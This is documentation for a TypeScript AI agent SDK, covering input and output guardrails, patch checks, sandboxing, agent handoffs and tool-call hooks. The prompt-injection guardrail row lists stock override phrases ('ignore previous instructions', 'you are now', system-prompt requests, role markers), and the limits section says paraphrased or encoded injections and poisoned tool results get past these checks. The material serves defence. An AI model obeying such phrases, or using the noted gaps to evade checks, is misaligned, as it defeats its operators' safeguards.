| `tools` | A tool call's arguments (`text` is them as JSON, `args` the object) | After the [permission rules](/approvals#permission-policies) (skipped when a rule denies the call) and before `needsApproval`. |

**Parallel input guardrails.** A slow input check (one that calls a model,
such as `moderationGuardrail({ model })`) adds its whole latency before the
agent starts answering. Mark it `runInParallel: true` (on your own
`IoGuardrail`, or as an option of `promptInjectionGuardrail` and
`moderationGuardrail`) and it runs while the first model call is already in
flight: the blocking input guardrails (the default) run first, including their
rewrites, then the parallel ones start together on that input and the model
call starts at once. Until every parallel check has passed, nothing the call
produced is released: its `text.delta`, `reasoning.*` and provider-run tool
events are held (`step.start` is not), in order, and its tool calls do not
run; a reply that comes first waits for the checks. When they pass, the held
events go out and the run goes on exactly as with blocking guardrails. When one
trips, the model call is aborted, the held events are dropped, nothing of the
call reaches the transcript, a checkpoint or `onLLMResponse`, and the run ends
with `finishReason: 'guardrail'` and `guardrail.tripped` (or
`GuardrailError` with `onTripped: 'throw'`) like a blocking trip. A parallel
check cannot rewrite, because the model already has the input: a `rewrite`
result blocks, with the reason starting `runInParallel guardrails cannot
rewrite: `. The trade-off is cost: a tripped call may already have used tokens.
They count in `result.usage` when the provider reported them (a call that
finished before the trip); an aborted stream usually reports none, and none is
estimated. Only the first model call of a run is raced, and a run resumed after an
approval does not check its input again. On `output` and
`tools` guardrails `runInParallel` is ignored. A guardrail `model` string is a
`provider/model` spec: the `vendor/` prefix chooses the provider; with
OpenRouter use `openrouter/<vendor>/<model>` (e.g.
`openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { createAgent, moderationGuardrail, piiGuardrail } from '@lousho/build-ai-agent';

const agent = createAgent({
  provider,
  guardrails: {
    // The PII check is instant and may rewrite, so it blocks; the moderation call runs alongside the agent's.
    input: [piiGuardrail({ action: 'rewrite' }), moderationGuardrail({ model: 'openai/gpt-4o-mini', runInParallel: true })],
  },
});
```

A guardrail is `{ name, check(ctx) }`. `ctx` has `kind` (`'input'`, `'output'`
or `'tool'`), `text`, the run's `messages`, `toolName` and `args` for a tool
call, and the run's `signal`. `check` returns (or resolves to) `{ ok: true }`
or `{ ok: false, reason, action?, replacement?, info? }`:

* `action: 'block'` (the default) ends the run with `finishReason: 'guardrail'`
  and `result.guardrail` (`{ name, kind, reason, toolName?, info? }`). `result.text`
  is `''` and a blocked reply is not added to the transcript; a blocked tool
  call does not run (nor do the calls after it in that turn) and gets a
  "cancelled" result, so the transcript stays valid. `stream()` emits
  `guardrail.tripped` before `run.done`.
* `action: 'rewrite'` replaces the text with `replacement` (a tool call's
  arguments: `replacement` is the new arguments as JSON), the next guardrail
  sees the new text, and `stream()` emits `guardrail.rewrote`.

With `onTripped: 'throw'` a block rejects with `GuardrailError`
(`LOUSHO_GUARDRAIL_TRIPPED`, with the same `guardrail`) instead. A `check`
that throws fails the run. Sub-agents run their parent's guardrails, then their
own. Agent spec files name built-in guardrails in `policy.guardrails` (see [Configuration](/configuration#policy-policy)).

```ts theme={null}
import {
  createAgent,
  denyTopicsGuardrail,
  GuardrailError,
  llmJudgeGuardrail,
  maxLengthGuardrail,
  regexGuardrail,
  type IoGuardrail,
} from '@lousho/build-ai-agent';

const noProdWrites: IoGuardrail = {
  name: 'no-prod-writes',
  check: ({ toolName, args }) =>
    toolName === 'run_sql' && String(args?.db) === 'prod' ? { ok: false, reason: 'prod is read-only' } : { ok: true },
};

const agent = createAgent({
  provider,
  guardrails: {
    input: [maxLengthGuardrail({ maxChars: 4_000 }), denyTopicsGuardrail({ topics: ['medical advice'] })],
    output: [
      regexGuardrail({ name: 'secrets', action: 'rewrite' }),
      llmJudgeGuardrail({ model: 'openai/gpt-4o-mini', instruction: 'Replies must stay on the topic of cooking.' }),
    ],
    tools: [noProdWrites],
  },
});

const result = await agent.send('What should I cook tonight?');
if (result.finishReason === 'guardrail') {
  console.warn(`Blocked by ${result.guardrail?.name} (${result.guardrail?.kind}): ${result.guardrail?.reason}`);
}

try {
  await createAgent({ provider, guardrails: { input: [maxLengthGuardrail({ maxChars: 10 })], onTripped: 'throw' } }).send('A long question');
} catch (error) {
  if (error instanceof GuardrailError) console.error(error.guardrail);
}
```

| Built-in | Fails when |
| - | - |
| `maxLengthGuardrail({ maxChars })` | The text is longer than `maxChars` characters. |
| `regexGuardrail({ name, pattern?, action?, replacement? })` | The text matches `pattern` (a `RegExp` or a list; default: the `secretScanCheck` patterns). With `action: 'rewrite'` every match becomes `replacement` (default `'[redacted]'`). |
| `denyTopicsGuardrail({ topics })` | The text contains one of `topics` (case-insensitive keywords). |
| `llmJudgeGuardrail({ model, instruction, name? })` | `model` (an `LLMProvider` or `"provider/model"`), asked once per check whether the text follows `instruction`, does not reply `PASS`; its `FAIL: <reason>` is the reason. |
| `piiGuardrail({ types?, action?, name? })` | The text contains personal data of one of `types` (default all): `email`, `phone` (9 to 15 digits, optional `+` country code and separators), `credit-card` (must pass the Luhn check), `iban` (must pass its mod-97 check), `us-ssn` (`123-45-6789` form), `ip-address` (IPv4). Blocks by default; `action: 'rewrite'` replaces each match with `[<type>]`, e.g. `[email]`. Heuristic, no model call. |
| `secretsGuardrail({ action?, extraPatterns?, name? })` | The text contains a private key, an Anthropic (`sk-ant-`), OpenRouter (`sk-or-v1-`), OpenAI (`sk-proj-`, `sk-`), AWS (`AKIA`), GitHub (`ghp_` and the other `gh?_` prefixes, `github_pat_`), Slack (`xoxb-` and the like), Google (`AIza`) or Stripe live (`sk_live_`, `rk_live_`) key, a JWT, an `Authorization: Bearer` token, or a match of `extraPatterns`. Rewrites each match to `[secret]` by default; `action: 'block'` blocks. Heuristic, no model call. |
| `promptInjectionGuardrail({ model?, name?, runInParallel? })` | The text has a prompt-injection signal: "ignore (all) previous instructions" and similar, "you are now", a request for the system prompt, a chat-template role marker (`<\|im_start\|>`, `### System:`, `[INST]`), a known jailbreak phrase, or invisible Unicode tag characters (U+E0000 to U+E007F). With `model`, a text the patterns pass is also sent to the model, which must reply `SAFE` or `INJECTION: <reason>`. Blocks only. |
| `moderationGuardrail({ model, categories?, name?, runInParallel? })` | `model`, asked once per check with a fixed prompt, lists one of `categories` (default all: `hate`, `harassment`, `self-harm`, `sexual`, `sexual-minors`, `violence`, `illicit`) as applying; it replies `NONE` or the categories. A prompt rather than a vendor moderation endpoint, so it works with every provider. Blocks only. With `runInParallel: true` (also on `promptInjectionGuardrail`), an input check runs alongside the first model call. |

The last four are a starter set for checks most production agents need:

```ts theme={null}
import { createAgent, piiGuardrail, promptInjectionGuardrail, secretsGuardrail } from '@lousho/build-ai-agent';

const agent = createAgent({
  provider,
  guardrails: {
    input: [promptInjectionGuardrail(), piiGuardrail({ action: 'rewrite' })],
    output: [secretsGuardrail()],
  },
});

const result = await agent.send('My card is 4111 1111 1111 1111, can you check my order?');
// The model sees "My card is [credit-card], can you check my order?"
if (result.guardrail?.info?.category === 'prompt-injection') console.warn(result.guardrail.info.signals);
```

**What tripped, without the text.** A trip (`result.guardrail`, `guardrail.tripped`,
`guardrail.rewrote`, `GuardrailError.guardrail`) carries `info`, a
`GuardrailTripInfo` when the guardrail gives one, which the starter set always
does: `{ category: 'pii', matches: [{ type, start, end }] }`,
`{ category: 'secret', matches: [{ label, start, end }] }`,
`{ category: 'prompt-injection', source: 'heuristic' | 'model', signals }` or
`{ category: 'moderation', categories }`. Offsets point into the checked text
(`ctx.text`). `info` never contains the matched text, and neither does the
`reason` of the PII and secret checks (types and labels only), so events,
traces and logs do not copy the personal data or the secret. Your own
guardrail can return `info: { category: 'custom', ...anything }`.

**Limits.** The PII, secret and prompt-injection checks are heuristic pattern
checks: they catch the common forms listed above and miss others (personal data
in other formats or languages, a secret with an unknown prefix, an injection
that is paraphrased, translated or encoded), and they flag some harmless text
too (an order number that looks like a phone number, a version string that
looks like an IP address, a user asking about "system prompts"). Treat them as
a first filter, not a security boundary; keep tool permissions and approvals in
place for anything that matters. The model-backed checks are only as reliable
as the model, cost one call per checked text, and fail closed: a reply that is
neither form blocks, with a reason saying the reply could not be read. Tool
results (for example a fetched web page carrying an indirect injection) are not
checked by any guardrail yet.

## Patch checks

`runPatchChecks(patch, checks)` runs every check concurrently over a
proposed patch and rolls the results up into one verdict. The
[ops-pipeline example](https://github.com/LinuxDevil/agent-sdk/blob/main/examples/ops-pipeline) uses it to gate a fixer
agent's patch before a pull request is opened:

```ts theme={null}
import { runPatchChecks, secretScanCheck, createDiffSizeCheck, createCommandCheck } from '@lousho/build-ai-agent';

const verdict = await runPatchChecks(
  { diff: patch },
  [
    secretScanCheck,
    createDiffSizeCheck(500),
    createCommandCheck('test-run', repoPath, 'npm', ['test']),
  ],
);

if (!verdict.pass) {
  console.log(verdict.failures); // [{ name, reason }, ...] — never call the write-side tool
}
```

| Patch check | Fails when |
| - | - |
| `secretScanCheck` | The diff contains a private key header, an OpenAI-style API key or an AWS access key. |
| `createDiffSizeCheck(maxLines)` | The diff has more than `maxLines` lines. |
| `createCommandCheck(name, cwd, command, args, { timeoutMs? })` | The command exits non-zero. A non-empty diff is first applied (`git apply`) to a scratch copy of `cwd`, and fails the check if it does not apply cleanly. |
| `createTestRunCheck(repoPath)`, `createLintCheck(repoPath)` | `npm test` / `npm run lint` fails (shorthands for the command check). |

**Fail-closed.** A check that throws, rejects, does not settle within its
timeout (30 s by default), or resolves with anything but `pass: true` counts as
failed: `runPatchCheckSafely(check, patch)` wraps each one. A command
check kills its process when the timeout fires (on Windows, the whole
process tree). Write your own as `{ name, check(patch) }` returning
`{ pass, reason? }`.

## Sandboxed tools

A tool opts in with `requiresSandbox: true` and a `sandboxExecute(args, sandbox)`
function. The executor then calls `sandboxExecute` with the run's
`SandboxAdapter` instead of calling `execute`. `createAgent()` does not take
`sandbox` yet, so this goes through the executor.

#### Advanced: the executor API

```ts theme={null}
import { AgentExecutor } from '@lousho/build-ai-agent/executor';
import { SubprocessSandbox } from '@lousho/build-ai-agent';

// Route a flagged tool (requiresSandbox + sandboxExecute) through a real,
// Docker-backed sandbox instead of the in-process NoopSandbox default
await AgentExecutor.execute({ agent, input, provider, toolRegistry, sandbox: new SubprocessSandbox() });
```

* `NoopSandbox` (the default) runs on the host. It is a stand-in, not
  isolation.
* `SubprocessSandbox` runs each command in a new, network-isolated,
  auto-removed Docker container, with no host directory mounted except the
  `cwd` you pass. It needs a running Docker daemon and the optional peer
  `dockerode` (`npm install dockerode@^5.0.1`; loaded on first use). When the
  run is cancelled (its `signal` aborts) or the command times out, the
  container is killed and removed. Each container runs as a non-root user
  (`user`, default `'1000:1000'`; on a Linux host it must be able to write the
  mounted `cwd`), with every Linux capability dropped, `no-new-privileges`, and
  `limits` of 512 MiB memory, 256 processes and 1 CPU by default.
  `writeFile(path)` writes on the host only under `root` (default: the working
  directory); a path outside it, also through a symlink, is refused with
  `LOUSHO_SANDBOX_PATH_DENIED`.
* Implement `SandboxAdapter` (`name`, `run(cmd, args, opts)`, `writeFile(path, content)`)
  for another backend.

For coding agents, `SandboxShell` puts the workspace shell tool behind the same
adapter; see [Workspace tools](/workspace-tools#sandboxed-shell-sandboxshell).


# Handoffs
Source: https://lousho.com/handoffs

A handoff passes the whole conversation to another agent. A triage agent reads the user's request and hands it to a specialist; the specialist answers the user directly, and in a session it keeps the conversation in later turns.

## Handoffs or sub-agents?

| Use | What happens |
| - | - |
| **Handoffs** | The target takes over. It sees the conversation (or what an `inputFilter` keeps), answers the user itself, and stays the active agent of the session until it hands on or back. The agent that handed off does not see the answer. |
| **[Sub-agents](/sub-agents)** | The lead stays in charge. A sub-agent sees only the task prompt the lead wrote, does the work, and returns a result to the lead, which then answers the user. |

## Quick start

Give each target a `name` and a `description` (the model reads the
description to decide when to hand off), then pass them to the triage agent as
`handoffs`. The `vendor/` model prefix chooses the provider; with OpenRouter
use `openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const lookupCharges = defineTool({
  name: 'lookup_charges',
  description: "Lists the user's recent charges",
  input: z.object({}),
  execute: async () => [{ date: '2026-09-01', amountUsd: 9.99 }],
});

const billing = createAgent({
  name: 'billing',
  description: 'Handles charges, refunds and subscriptions',
  instructions: 'You are the billing desk. Answer in one or two sentences.',
  model: 'openai/gpt-4o-mini',
  tools: [lookupCharges],
});

const techSupport = createAgent({
  name: 'tech-support',
  description: 'Handles logins, passwords and technical problems',
  instructions: 'You are tech support. Answer in one or two sentences.',
  model: 'openai/gpt-4o-mini',
});

const triage = createAgent({
  name: 'triage',
  instructions: 'Route the user: billing questions to billing, technical questions to tech-support.',
  model: 'openai/gpt-4o-mini',
  handoffs: [billing, techSupport],
});

const result = await triage.send('I was charged twice for my subscription.');
console.log(result.agentName, result.text); // 'billing', the billing desk's answer
```

Each target is offered to the model as one tool, `transfer_to_<name>`
(`transfer_to_billing`, `transfer_to_tech-support`). When the model calls it,
the run goes on as the target in the same `send()` / `stream()` call.
`result.agentName` names the agent that produced the final reply.

A target must come from `createAgent()` and have a `name` (unique among the
handoffs) and a `description` (or a `description` on `handoff()`); otherwise
`createAgent()` throws `LOUSHO_CONFIG_INVALID`. A handoff tool may not share a
name with one of the agent's tools.

## `handoff()` options

Wrap a target in `handoff()` to configure it:

```ts theme={null}
import { createAgent, handoff, handoffFilters } from '@lousho/build-ai-agent';
import { z } from 'zod';

const refunds = createAgent({ name: 'refunds', description: 'Issues refunds', model: 'openai/gpt-4o-mini' });

const triage = createAgent({
  name: 'triage',
  model: 'openai/gpt-4o-mini',
  handoffs: [
    handoff(refunds, {
      toolName: 'escalate_refund',
      description: 'Hand off when the user asks for money back',
      input: z.object({ orderId: z.string() }),
      inputFilter: handoffFilters.removeToolCalls,
      onHandoff: ({ from, to, args }) => console.log(`${from} -> ${to}`, args),
      isEnabled: ({ metadata }) => metadata?.plan === 'pro',
    }),
  ],
});
```

| Option | Default | What it does |
| - | - | - |
| `toolName` | `transfer_to_<name>` | The tool the model calls. |
| `description` | the target's `description` | The tool's description. |
| `input` | `{ reason?: string }` | The arguments the model passes (a zod schema or any Standard Schema). Arguments that do not match give the model a tool error, and no handoff happens. |
| `inputFilter` | everything | What the target sees (see [Input filters](#input-filters)). |
| `onHandoff` | none | Called with `{ messages, from, to, args, sessionId }` once the handoff is decided, before the target's first model call. |
| `isEnabled` | `true` | Whether the handoff is offered; a function gets the run's `{ input, metadata, principal, sessionId }`. A disabled handoff's tool is not sent to the model. |

## Input filters

The target sees the conversation as `inputFilter` returns it, under its own
system prompt (the system prompt of the agent that handed off is replaced,
never kept). The filter gets `{ messages, from, to, args }`; `messages` is the
transcript so far without the system prompt, ending with the handoff call, its
result, and a **routing note**: a system message the run appends so the target
reads who was transferred and the validated `args`
(`[routing note - not from the user] handoff triage -> billing: reason="..."`).
It is marked with `metadata.handoff`, so a filter can recognise it - drop it or
replace it to shape the target's context yourself. The note stays where it is
in the transcript, but no model request carries a system message after the
conversation has started: each request appends such messages, in order, to its
leading system prompt. The chat templates of Qwen, Llama and Mistral models (LM
Studio, llama.cpp, vLLM, Ollama) and Anthropic's API reject a system message in
the middle of a conversation. Two filters are built in:

* `handoffFilters.removeToolCalls`: keeps user and assistant text (and the
  routing note), drops tool calls and tool results.
* `handoffFilters.lastUserMessage`: keeps only the last user message.

```ts theme={null}
import { handoffFilters, type HandoffInputData } from '@lousho/build-ai-agent';

// The last four messages, without tool traffic.
const recent = (data: HandoffInputData) => handoffFilters.removeToolCalls(data).slice(-4);
```

What the filter returns becomes the run's transcript: `result.messages` and a
session's history continue from it. A filter must keep at least one message.
Approvals remembered with `once()` in the earlier part of the transcript are
dropped at a handoff, so a target's tools ask again.

## What switches and what stays

| At a handoff, the target's own | The run's, for its whole length |
| - | - |
| instructions (system prompt), model and provider | `hooks`, `limits` and the spend so far (one budget) |
| tools, hosted tools, skills and sub-agents | `maxSteps`, counted across agents |
| `reasoning`, `modelSettings` and `toolSearch` (its own deferred tools, searched with its own tuning) | the abort signal and `toolConcurrency` |
| its own `handoffs` | the approval, checkpoint and token stores |
| guardrails and permission rules: the lead's first, then the target's own | `onEvent` and `exporter` |
| | `output`: the result is typed by the lead's schema (a target's own `output` is not used) |
| | the permission mode and the principal (who the run acts for) |
| | the approval configuration: `approve`, `approvalStore`, `approvalTtlMs`, `onPermissionDecision` |
| | the lead's [memory](/memory) slots, bound to the run's scope keys |

The agent the run started with is the lead. A target gets none of the lead's
tools or sub-agents, but it keeps the lead's [memory](/memory): the recalled
`<memory>` blocks are put back into the target's system prompt, and the
`remember_<name>` / `recall_<name>` tools are still offered, bound to the same
scope keys (the same customer, user or session). This holds in the handoff run
and in every later session turn the target runs. A target's own memory slots
are not used; give the slots to the agent runs start with. The lead's `output`
instruction is added to every target's system prompt.

Because approvals and memory are run-level, options like `approve`, `approvalStore`,
`permissionMode`, `approvalTtlMs`, `store` or `memory` on a target agent are never
consulted after a handoff - the agent warns once (per target), on its first run
that reaches the handoff graph (not when `createAgent()` is called), when a
reachable target was created with them; set them on the agent runs start with.

## Sessions

In a session the active agent is the one the transcript last handed off to
(the `to` of the last `metadata.handoff` marker), so the next
`session.send()` / `session.stream()` runs that agent:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const billing = createAgent({ name: 'billing', description: 'Handles charges and refunds', model: 'openai/gpt-4o-mini' });
const triage = createAgent({ name: 'triage', model: 'openai/gpt-4o-mini', handoffs: [billing] });

const session = triage.session();
await session.send('I was charged twice.'); // triage hands off; billing answers
const next = await session.send('Can you refund one?'); // billing answers again
console.log(next.agentName); // 'billing'
```

`agent.send()` without a session always starts at the lead.

A target hands back with its own `handoffs`. Since the lead is created after
its targets, give the target an array and add the lead to it afterwards (the
array is read at every run):

```ts theme={null}
import { createAgent, handoff, type Handoff } from '@lousho/build-ai-agent';

const billingHandoffs: Handoff[] = [];
const billing = createAgent({
  name: 'billing',
  description: 'Handles charges and refunds',
  instructions: 'For anything that is not about billing, hand back to triage.',
  model: 'openai/gpt-4o-mini',
  handoffs: billingHandoffs,
});
const triage = createAgent({
  name: 'triage',
  description: 'Routes the user to the right desk',
  model: 'openai/gpt-4o-mini',
  handoffs: [billing],
});
billingHandoffs.push(handoff(triage));
```

Names identify agents: every agent reachable through `handoffs` must have its
own name. If the agent a transcript names is no longer reachable, the lead runs.

## Approvals and resuming after a handoff

A target's tool that needs approval pauses the run in the lead's approval
store; `agent.approvals.resolve()` on the lead continues it as the target. A
checkpointed run (`send(message, { sessionId })` or a session with a store)
that crashed after a handoff resumes as the target with `agent.resume(id)` or
`session.resume()`. The drift check on resume (`onAgentDrift`, see
[Durable execution](/durable-execution#resuming-with-a-changed-agent))
compares with the target's saved fingerprint.

When a step has a handoff call next to a call that pauses for approval, the
handoff waits: the run pauses as the agent that handed off, and the handoff
happens once the approval is decided and the step's other calls ran.

The `transfer_to_*` call itself passes the same gate as a tool call:
`permissions` rules apply to it (`deny` gives the model a `kind: 'denied'`
tool error and no handoff happens; `ask` pauses the run for approval and the
decided call then hands off or reports the rejection), `preToolCall` hooks may
deny it or rewrite its arguments (the routing note and the target see the
rewritten input), and the decision is audited to `onPermissionDecision` /
`permission.decision` like any tool call.

## Events

A handoff is reported between the handoff call's `tool.start` / `tool.done`
and the target's first `step.start`:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const billing = createAgent({ name: 'billing', description: 'Handles charges and refunds', model: 'openai/gpt-4o-mini' });
const triage = createAgent({ name: 'triage', model: 'openai/gpt-4o-mini', handoffs: [billing] });

for await (const event of triage.stream('I was charged twice.')) {
  if (event.type === 'handoff') console.log(`${event.from} -> ${event.to}`); // triage -> billing
}
```

`handoff` carries `from`, `to` and `toolCallId`. A run has one `run.start`
and one `run.done` however many handoffs it makes. See the
[event schema](/stream-events).

## Limits

* Only one handoff per model turn: when a turn calls several handoff tools,
  the first is honored and the others get a tool error.
* `maxHandoffs` (a `createAgent()` option, default 5) caps the handoffs of one
  run, to stop agents handing a conversation back and forth. A handoff call
  over it gets a tool error and the agent answers itself. A run resumed after
  an approval or a crash counts again from zero.
* Remote agents (`remoteAgent()`) cannot be handoff targets; use them as
  sub-agents.
* A target does not hand back on its own at the end of its turn; give it a
  handoff to the lead (see [Sessions](#sessions)).

## The executor API

`AgentExecutor.execute()` takes `handoffs` (`ResolvedHandoff[]`: `name`,
`toolName`, `description`, `input`, `spec(input)` resolving the target's run
configuration and its own handoffs, `inputFilter`, `onHandoff`) and
`maxHandoffs`. `createAgent()` builds them; pass them yourself only when you
drive the executor directly.


# Hooks
Source: https://lousho.com/hooks



A hook is an object `{ name, preToolCall?, postToolCall?, preGenerate?, postGenerate? }` that runs inside the agent loop, around every tool call and every model call. Use one to write an audit log, deny a tool, redact or truncate a result, inject context before the model call, or change the request (a header, `temperature`) it sends.

Hooks are code you write, not policy and not a human decision: for rules that allow, deny or ask per tool, and for a person approving a call, use `permissions` and `needsApproval` ([Approvals](/approvals)). Listeners such as `onEvent` only watch a run and cannot change it ([Streaming](/streaming#listening-without-iterating)); a hook can.

## Your first hook

Pass hooks to `createAgent({ hooks })`. This one logs every tool call and what it returned:

```ts theme={null}
import { createAgent, defineTool, type AgentHook } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

const auditHook: AgentHook = {
  name: 'audit',
  preToolCall(ctx) {
    console.log('calling', ctx.toolName, ctx.args);
  },
  postToolCall(ctx, result) {
    console.log('finished', ctx.toolName, result.error ?? 'ok');
  },
};

const lookup = defineTool({
  name: 'lookup',
  description: 'Look something up',
  input: z.object({ query: z.string() }),
  async execute({ query }) {
    return { answer: `result for ${query}` };
  },
});

const agent = createAgent({
  instructions: 'You answer questions.',
  provider: mockModel([{ toolCalls: [{ name: 'lookup', args: { query: 'hooks' } }] }, { text: 'Done.' }]),
  tools: [lookup],
  hooks: [auditHook],
});

await agent.send('Look up hooks');
```

Every method is optional: implement only the points you need. A hook that returns nothing only watches; mutating `ctx.args`, `ctx.messages` or `ctx.request` in place also changes the run.

## The four hook points

| Point | Fires | Context | May return |
| - | - | - | - |
| `preToolCall(ctx)` | Before a tool runs, ahead of permission rules, tool guardrails and the approval check. | `ToolCallHookContext`: `toolCallId`, `toolName`, `args` (live), `toolCall`, plus the common fields below. | Nothing, `{ deny }`, `{ result }` or `{ input }` (see [Hook outcomes](#hook-outcomes)). |
| `postToolCall(ctx, result)` | After a tool call settles: success, a tool-level error, or approval required. `result` is `{ result, error?, requiresApproval? }`. | `ToolCallHookContext`. | Nothing, or `{ result }` to replace what the model sees. |
| `preGenerate(ctx)` | Before each model call. | `GenerateHookContext`: `request` (the live `GenerateOptions` about to be sent) and `emit?`, plus the common fields. | Nothing; mutate `ctx.messages` or `ctx.request`, or throw. |
| `postGenerate(ctx, result)` | After each model call resolves, with its `GenerateResult`. | `GenerateHookContext`. | Nothing; or throw. |

The common fields on every context are `agentId`, `agentName`, `sessionId`, `messages` (the live conversation history), `metadata` (a free-form bag) and `subagent` (set inside a sub-agent). Tool-call contexts also carry `resumedAfterApproval`: `true` only when the hook fires for a call being re-run after a human approved its pause, so a stateful hook (a loop guard, an audit counter) can skip the re-fire with `if (ctx.resumedAfterApproval) return;`. `ctx.emit` exists when the run has listeners (`createAgent({ onEvent })`, `onAgentEvent`) or is streamed, and adds `compaction.start` / `compaction.done` events to the run's events. Inside an executor run, `preGenerate` also gets `ctx.generate(provider, request, purpose)`: a side model call (the compaction summarizer uses it) that gets its own `chat` span tagged `lousho.call.purpose` and counts in the run's `usage` and budgets.

## Hook outcomes

A tool-call hook can change what happens, not just watch it. A `preToolCall`
hook may return:

* nothing: the call goes on unchanged (mutating `ctx.args` in place still works).
* `{ deny: reason }`: the call does not run. The model gets the same
  `kind: 'denied'` tool error a `needsApproval` deny produces (see
  [Approvals](/approvals#approve-deny-or-ask)), streams see `tool.error`,
  and `onPermissionDecision` records `decision: 'deny'` with `hook` and `reason`.
* `{ result: value }`: the call does not run and `value` is its result. The
  `tool.done` event and the transcript's `tool` message (`metadata`) carry
  `replacedByHook: '<hook name>'`.
* `{ input: args }`: the call runs with `args`. They are validated against
  the tool's input schema again; a mismatch becomes a `kind: 'validation'`
  tool error whose message names the hook, and the tool does not run.

A `postToolCall` hook may return `{ result: value }` to replace the result the
model sees (to redact or truncate it); nothing keeps it. Hooks run in
registration order: the first `deny` or `result` of a pre-hook skips the
pre-hooks after it, `input`s chain (each hook sees the previous one's as
`ctx.args`), and each post-hook sees the result an earlier one replaced. A hook
that throws still rejects the run, as before. Sub-agents inherit the lead
agent's hooks and their outcomes.

```ts theme={null}
import { createAgent, type AgentHook } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const provider = mockModel(['Done.']);

const guard: AgentHook = {
  name: 'guard',
  preToolCall(ctx) {
    if (ctx.toolName === 'shell') return { deny: 'Use the workspace tools instead' };
    if (ctx.toolName === 'search') return { input: { ...ctx.args, limit: 10 } };
    return undefined; // continue unchanged
  },
  postToolCall(_ctx, result) {
    return typeof result.result === 'string' ? { result: result.result.slice(0, 2000) } : undefined;
  },
};

const agent = createAgent({ provider, instructions: 'You research things.', hooks: [guard] });
```

## Recipes

Each recipe is a complete program. They run against `mockModel`, so none of them needs an API key or a live model call; the same pattern tests your own hooks offline ([Testing](/testing)). Each one scripts a model turn that calls a tool, then a final answer.

### Deny a tool by name

```ts theme={null}
import { createAgent, defineTool, type AgentHook } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

const shell = defineTool({
  name: 'shell',
  description: 'Run a shell command',
  input: z.object({ command: z.string() }),
  async execute({ command }) {
    return { ran: command };
  },
});

const noShell: AgentHook = {
  name: 'no-shell',
  preToolCall(ctx) {
    if (ctx.toolName === 'shell') return { deny: 'The shell is disabled here' };
    return undefined;
  },
};

const model = mockModel([{ toolCalls: [{ name: 'shell', args: { command: 'ls' } }] }, { text: 'I could not run it.' }]);
const agent = createAgent({ instructions: 'You help.', provider: model, tools: [shell], hooks: [noShell] });

const result = await agent.send('List the files');
console.log(result.text);
```

### Add a default argument

Return `{ input }` to run the tool with different arguments. They are validated against the tool's schema again.

```ts theme={null}
import { createAgent, defineTool, type AgentHook } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

const search = defineTool({
  name: 'search',
  description: 'Search the docs',
  input: z.object({ query: z.string(), limit: z.number().optional() }),
  async execute({ query, limit }) {
    return { query, limit };
  },
});

const defaultLimit: AgentHook = {
  name: 'default-limit',
  preToolCall(ctx) {
    if (ctx.toolName === 'search' && ctx.args.limit === undefined) {
      return { input: { ...ctx.args, limit: 5 } };
    }
    return undefined;
  },
};

const model = mockModel([{ toolCalls: [{ name: 'search', args: { query: 'hooks' } }] }, { text: 'Found it.' }]);
const agent = createAgent({ instructions: 'You search.', provider: model, tools: [search], hooks: [defaultLimit] });

await agent.send('Search for hooks');
```

### Truncate or redact a result

`postToolCall` receives the settled result and may return `{ result }` to replace what the model sees. The tool itself ran unchanged.

```ts theme={null}
import { createAgent, defineTool, type AgentHook } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

const readLog = defineTool({
  name: 'read_log',
  description: 'Read the log',
  input: z.object({}),
  async execute() {
    return 'user=ada email=ada@example.com ' + 'x'.repeat(5000);
  },
});

const redact: AgentHook = {
  name: 'redact',
  postToolCall(_ctx, result) {
    if (typeof result.result !== 'string') return;
    const masked = result.result.replace(/[\w.]+@[\w.]+/g, '[email]');
    return { result: masked.slice(0, 1000) };
  },
};

const model = mockModel([{ toolCalls: [{ name: 'read_log', args: {} }] }, { text: 'Read it.' }]);
const agent = createAgent({ instructions: 'You read logs.', provider: model, tools: [readLog], hooks: [redact] });

await agent.send('Read the log');
const toolMessage = model.calls[1].messages.at(-1);
console.log(toolMessage?.role); // 'tool': its content is the redacted text
```

### Inject context before a model call

`preGenerate` sees the live `ctx.messages` and `ctx.request`. Push a message to add context, or change a request field.

```ts theme={null}
import { createAgent, type AgentHook } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const addDate: AgentHook = {
  name: 'add-date',
  preGenerate(ctx) {
    ctx.messages.push({ role: 'system', content: `Today is ${new Date().toISOString().slice(0, 10)}.` });
    ctx.request.temperature = 0;
  },
};

const model = mockModel(['Noted.']);
const agent = createAgent({ instructions: 'You help.', provider: model, hooks: [addDate] });

await agent.send('Hello');
console.log(model.calls.length); // 1
```

## Order and interaction

For one tool call, the order is: argument validation, `preToolCall` hooks,
permission rules (`permissions`), tool guardrails, the tool's `needsApproval`,
the approval pause, execution, `postToolCall` hooks. Hooks run before every
approval decision, so rules, `needsApproval` and the human all see (and approve)
the input a hook produced; the pending approval's `args` show it. When an
approved call is resumed, the pre-hooks run again: they may still deny it or
supply its result, but an `{ input }` that differs from the approved input is
refused with a tool error instead of running. See [Approvals](/approvals) for the pause and the resume.

* **Several hooks** run in the order of the `hooks` array, one at a time: each is awaited before the next, so a later hook sees what an earlier one changed.
* **A hook that throws** still rejects the run. Hooks are trusted code: the error is not turned into a tool result for the model.
* **Compaction.** `createAgent({ hooks })` runs your hooks first and the compaction hook after them, so compaction sees what they added ([Context compaction](/compaction)).
* **Sub-agents** inherit the lead agent's hooks. `ctx.subagent` is set when a hook runs inside one, so a hook can return early to see only the top-level run ([Hooks inside sub-agents](/sub-agents#hooks-inside-sub-agents)).

## HookRegistry

